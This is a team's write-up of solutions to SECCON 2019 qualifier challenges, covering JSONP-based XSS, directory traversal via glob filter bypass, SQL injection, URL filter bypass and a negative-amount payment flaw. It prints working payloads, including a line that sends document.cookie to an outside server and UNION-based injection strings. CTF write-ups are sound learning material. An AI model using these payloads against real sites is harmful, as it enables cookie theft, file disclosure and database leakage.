[SECCON 2019] — Writeup

Published in
7 min readOct 20, 2019


Writeup for SECCON 2019 Quals by Bat Family.

SECCON 2019 Quals

Here we will explain our solution for some challenges on this year SECCON Qualifier.

Table Of Contents

Web: SPA — 427 points
Web: fileserver — 345 points
Web: web_search — 212 points
Web: Option-Cmd-U — 190 points
Crypto: ZKPay — 308 points

Web: SPA — 427 points

Last day my colleague taught me the concept of the Single-Page Application, which seems to be the good point to kickstart my web application development. Well, now it turned out to be MARVELOUS!
Steal the cookie.

On this challenge, we were given a Vue Single Page Application. As the description said, there is a feature of report admin where we could submit our payload to steal the admin cookie.

Report Admin Feature

We try to click the menu, and the website will display the flag of the previous SECCON Quals.

Display of the Website

Below is the Vue code that fetching the JSON data.

Snippet of the fetchContests() function

After reading through the Vue Code, we figure out that when we click the menu (for example: SECCON2014), the URL will be change to “/#SECCON2014”. After that, everything after the “#” symbol will be set as the contestId, and the web will try to load SECCON2014.json in order to retrieve the data and display it.

Notice that we could control the contestId parameters. We setup a server to create an endpoint that could return a JSON data to check whether the website could load the data from external site or not. Using beeceptor, we try to load it and our prediction is true.

Our mock API

After finding that we could load data from external site, we try to read the documentation of $.getJSON()method to look for a vulnerability. We found an interesting information from the documentation that said

If the URL includes the string “callback=?” (or similar, as defined by the server-side API), the request is treated as JSONP instead. See the discussion of the jsonp data type in $.ajax() for more details.

Refering to this article, We could use JSONP to craft our XSS Payload because $.getJSON() will use a script tag injection to attempt a JSONP call. First, we create our mock API with endpoint contains callback=? and we just need to return a javascript code on our response.

Testing mock API that will invoke alert(1)

Let’s try to access http://spa.chal.seccon.jp:18364/#/krejii.free.beeceptor.com/callback=?&query=hehe


Yeay, we invoke an XSS. Because we need to steal admin cookie, we just need to craft our response of the mock API into document.location=’http://our-server.com/?c='+document.cookie;// . Send the above URL to the admin, and the admin will visit our endpoint with the flag.

Flag: SECCON{Did_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)}

Web: fileserver — 345 points

I donno apache or nginx things well, I guess I can implement one for myself though. See? It’s easy!
Due to maintainability, we restart the server of fileserver challenge every 5 minutes.

We try to visit the website, and turn out it is a Ruby Webrick server. Testing a little bit Directory Traversal, we could access / to get list of available files on the website directory. We try to download all the files.

Server Code app.rb

Reading through the server code, it is obvious that we could do directory traversal to leak the flag filename (if we could bypass all the annoying filters). If our path end with / the server will return the list of files on that directory. However, we couldn’t use .. because it got filtered. In order to leak the directory traversal, we try to inject %00 on our path. Turn out, it works! We found the flag names on /tmp/flags folder.

Flag filename

Now here is the tricky part. In order to read a file, our path couldn’t end with / char. But, webrick doesn’t allow us to use ../ to navigate to the flag directory. After reading for a while, we found a bug on the is_bad_path function.

Notice that if the function detect a [ or { , it will break the search and return False if there isn’t any pair of that bracket. If our path contains {[} , the is_bad_path will return False instead True, because when it detects the square bracket, it breaks the search for other prohibited symbol, and will return False if there isn’t any square bracket even though we have a pair of curly braces. Leveraging this bug, we could use Shell Globbing to navigate into our flag directory and read it. Final Payload: http://fileserver.chal.seccon.jp:9292/%7B.,%5b%7D./tmp/flags/JdQI8p0VQhRnHwM0kenRPF4hTiFBJFt8.txt


Web: web_search — 212 points

Get a hidden message! Let’s find a hidden message using the search system on the site. http://web-search.chal.seccon.jp/

A classic SQL Injection. Trying some payload, we realize that they filter spaces, or, commas . Instead using spaces, we could use tab or /**/ . To bypass the filter of or , we could use oorr because it will delete the or in middle and will lead to another or .

The website already give use the first part of the flag if we put telnet'/**/oorr1=1;#, and give us information that we need to leak table flag. So now, we need to leak the number of columns first. Using UNION SELECT * FROM (SELECT NULL) AS A JOIN (SELECT NULL) AS B ... , we could found out that thee total of columns is three. After that, we just need to change one of the UNION table join (let say (SELECT NULL) AS A ) into (SELECT * FROM FLAG) AS A to get the second part. Don’t forget to change spaces into tab .

Final Payload for first part:
Final Payload for second part: telnet’%09oorr%091%3D0%09UNION%09SELECT%09*%09FROM%09(SELECT%091)%09AS%09a%09JOIN%09(SELECT%09*%09from%09flag)%09AS%09b%09JOIN%09(SELECT%091)%09AS%09c%3B%23

First part
Second Part
Flag: SECCON{Yeah_Sqli_Success_You_Win_Yeah}

Web: Option-Cmd-U — 190 points

No more “View Page Source”!

We could access the source code on here http://ocu.chal.seccon.jp:10000/index.php?action=source . Reading through the source code, we found the source code of the allowed URL filtering.

Source Code

Reading through the source coded, we need to start our url with http . We have bypass the first check, now we need to bypass the second check that didn’t allow us to access nginx. Using Unicode of slash (/ <- this is a unicode not a real slash), we could bypass the second if. We have bypass all the check and we could load flag.php .

Flag: SECCON{what_a_easy_bypass_314208thg0n423g}

Crypto: ZKPay — 345 points

Trying to signup, turn out that we need to have deposit larger than 1000000 dollar to see the flag. We try to use the send money feature, which is generating a QR Code that could be decoded using the receive money feature. We try to generate two QR Code with different amount, and then try to decode the QR Code. The QR Code will be decoded to a string like URL params. The example decoded content:


Trying to change the amount and generate a new QRCode, turn out that the decoded content has the same proof params. We try to change the amount to negative integer (-1000000), generate a new QRCode, create a new user, redeem the QRCode, and our current money got increased above 1000000.

Generate new QR Code with amount negative
Redeem it on another account, the other account will have negative deposit
Our main account deposit got above 1million :D
Flag: SECCON{y0u_know_n07h1ng_3xcep7_7he_f4ct_th47_1_kn0w}